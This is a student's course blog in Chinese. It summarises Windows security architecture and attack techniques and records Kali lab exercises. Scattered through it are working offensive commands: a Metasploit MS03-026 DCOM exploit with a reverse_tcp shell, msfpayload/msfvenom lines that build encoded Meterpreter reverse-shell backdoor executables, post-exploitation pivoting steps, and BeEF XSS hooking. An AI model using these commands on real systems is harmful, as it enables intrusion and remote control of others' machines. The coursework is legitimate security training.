20169207 2016-2017-2 《网络攻防实践》第七周学习总结

学习目标
掌握windows系统架构
掌握windows系统安全架构和机制
掌握windows系统安全攻防技术
牚握Metasploit的使用
学习任务
教材第七章的学习
完成p272的实践练习
5个Kali视频学习(26-30)
教材和视频学习总结发博客，周日晚12：00前完成

教材学习内容总结

第七章 Windows操作系统安全攻防

• 1.Windows操作系统基本框架概述
  windows操作系统的基本结构分为运行于处理器特权模式的操作系统内核，以及运行在处理器非特权模式的用户空间代码。
  windows操作系统内核的基本模块包括：Windows执行体，windows内核体、设备驱动程序、硬件抽象层、Windows窗口与图形界面接口内核实现代码、系统支持进程、环境子系统服务进程、服务进程、用户应用软件、核心子系统DLL、Windows进程和线程管理机制、windows内存管理机制、windows文件管理机制、windows注册表管理机制、windows的网络机制。

• 2.Windows操作系统的安全体系结构与机制。windows安全体系结构。
  SD安全描述符主要由如下主要属性组成。
  1.Owner SID：对象所有者的SID安全标识符。
  2.Group SID：对象所在基本用户组的SID安全标识符。
  3.DACL自主访问控制列表：指明了那些安全主体可以何种方式来访问该对象。
  4.SACL 系统审计访问控制列表：指明了那些主体发起的那些访问操作需要被审计。

• 3.Windows远程安全攻防技术：远程口令猜测与破解攻击、攻破Windows网络服务、攻击Windows客户端及用户。
  windows系统的安全漏洞生命周期：Windows安全漏洞发现、利用和修补过程。安全漏洞公开纰漏信息库、针对特定目标的渗透测试攻击过程、使用Metasploit软件实施渗透测试

• 4.使用Metasploit Console终端实施渗透测试过程。
  1.use exploit/windows/dcerpc/ms03_026_dcom
  2.set PLAYLOAD generic/shell——reverse_tcp
  3.set LHOST 192.168.200.2；set RHOST 192.168.200.124.
  4.exploit
  5.在远程控制会话中与目标主机进行交互。

• 5.Windows远程口令猜测与破解攻击：远程口令字猜测、远程口令字交换通信窃听与破解、远程口令猜测与破解防范措施

• 6.Windows网络服务远程渗透攻击：针对NetBios网络服务的著名漏洞及攻击、针对MSRPC网络服务的著名漏洞及攻击、针对Windows系统上微软网络服务的远程渗透攻击、针对Windows系统上第三方网络服务的远程渗透攻击、网络服务远程渗透攻击防范措施

• 7.Windows本地安全攻防技术：Windows本地特权提升、Windows敏感信息窃取、Windows消踪灭迹、windows远程控制与后门程序，命令行远程控制工具

教材学习中的问题和解决过程

26.kali漏洞之检索与利用

• 1.Exploit Database
  
  
  列举出漏洞和文件地址，相对目录是/usr/share/exploitdb/platforms
  

27.Kali 漏洞利用之Metasploit基础

kali中的msf的路径是/usr/share/metasploit-framework

测试示例：发现漏洞，搜索exploit


新：

28kali漏洞之Meterpreter

• 1.生成Meterpreter后门。命令：msfpayload Windows/meterpreer/reverse_tcp LHOST=172.16.215.182 LPORT=2333 R | msfencode -t exe -c 5>/root/door.exe

29.kali漏洞利用之Metasploit后渗透测试

在跳板机获取一定权限后，需要积极的向内网主机权限发展，获取指定的目标信息，探查系统的漏洞，借助msf已经得到的Meterpreter后门，可以使系统的操作更容易。

• 1、查看当前网卡、网段信息（使用ifconfig）。可查看到三个网卡，一个是本地网卡，另一个是我们能访问的网卡，还有一个网卡具有内网IP（访问不到，可以ping以下试试）。
• 2、添加路由表run autoroute -s 10.0.0.1可以使用msf中的模块跨网段攻击或扫描。可通过脚本autoroute快速添加。
• 3、开socket代理，通过使用auxiliary/server/socks4a模块，创建一个socks代理，可以为浏览器，sqlmap，nmap使用。通过代理即可访问内网计算机。
• 4、通过background和session -i可以自由切换进入session。
• 5、输入run可以看到在meterpreter上可以做的很多命令。
• 6、通过run post/可以看到后渗透测试模块
• 7、获取内网信息run arp_scanner -r 10.0.0.1/24
• 8、也可以上传文件，做端口转发后进行后续测试,例如upload lcx.exe c:传送文件到c盘根目录。

30.Kali漏洞利用之BeeF

• 1.命令行启动BEEF：beef-xss
  
  使用默认用户名和密码beef登录。

• 2、假设被测试主机由于XSS漏洞请求到http://127.0.0.1:3000/demos/basic.html
  
  
  
  

• 5、Proxy功能（代理功能）
  选中目标主机，点右键，在菜单中选中Use as Proxy；然后在Rider选项卡中的Forge Request编辑并发送想要发送的内容。
  

• 6、BeEF默认是不加载Metasploit的，如果要使用Metasploit丰富的攻击模块，需要做些配置.
  首先打开beef xss目录
  cd /usr/share/beef-xss/
  ls
  nano config.yaml /* 编辑一下，可以看到有很多配置信息，包括用户名、密码都可以在这设置，在此将Metasploit的false修改为true /
  clear
  保证此处IP等信息设置正确（不适用127.0.0.1，需使用本机IP），并修改Custom路径：
  cd extensions/metasploit/
  ls
  nano config.yaml / 将host和callback_host行的IP修改为本机IP,并修改custom路径为/usr/share/metasploit-framework/ */
  配置好后打开msfconsole，运行命令：
  load msgrpc ServerHost=222.28.136.234 Pass=abc123

执行./beef -x重新加载Metasploit的exploit模块

加载之后，重启下服务service beef-xss restart

视频学习中的问题和解决过程

service postgresql start 无法启动
安装时遇到问题您必须手工运行 ‘dpkg --configure -a’ 解决此问题。执行dpkg --configure -a’。
您可能需要运行“apt-get -f install”来纠正下列错误：执行：apt-get -f install
安装完后安装postgresql又提示没有可用的软件包 metasploit，但是它被其它的软件包引用了。

第一步，kali linux 2.0 本身已内置metasploit，kali 2.0 已经没有metasploit 这个服务了，所以service metasploit start 的方式不起作用。
在kali 2.0中启动带数据库支持的msf方式如下：
1  首先启动postgresql数据库：/etc/init.d/postgresql start；或者 service postgresql start；
2  初始化MSF数据库（关键步骤！）：msfdb init；
3  运行msfconsole：msfconsole；
4  在msf中查看数据库连接状态：db_status。

问题：生成meterpreter后门出错，找不到msfpayload和msfencode命令
解决方法：新版kali中没有msfpayload和msfencod，使用msfvenom，msfvenom结合了payload 和encode的功能
kali视频中实际采用框架为cmd/powershell_base64执行命令对应修改为：
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=172.16.6.162 LPORT=2333 -f raw -e cmd/powershell_base64 -f exe -i 5 > /root/door1.exe

遇到问题：无法将door文件放到指定目录下。

其他（感悟、思考等，可选）

学习进度条

	教材学习	视频学习	博客量（新增/累积）	重要成长
目标	章		20篇
第一周		《Linux基础入门》	1/1	练习Linux命令，在码云上面创建项目，学习使用博客园写博客并用Markdown编辑器规范格式
第二周	第一二章	5个kali视频	2/3	初识网络攻防，了解基本知识
第三周	第三章	5个kali视频	1/4	学习了kali linux下信息收集阶段的探测工具
第四周	第四章	5个kali视频	1/5	学习了kali linux下信漏洞扫描工具
第五周	第五、六章	5个kali视频	1/6	kali漏洞分析之数据库评估
第五周	第七章	5个kali视频	1/7	kali漏洞之检索与利用

博客互评

20169306
20169216
20169212
最后一人由于信息过长，不知道学号，无法评论手机端和网页上都试了

参考资料

• 网络攻防技术与实践
  (官网)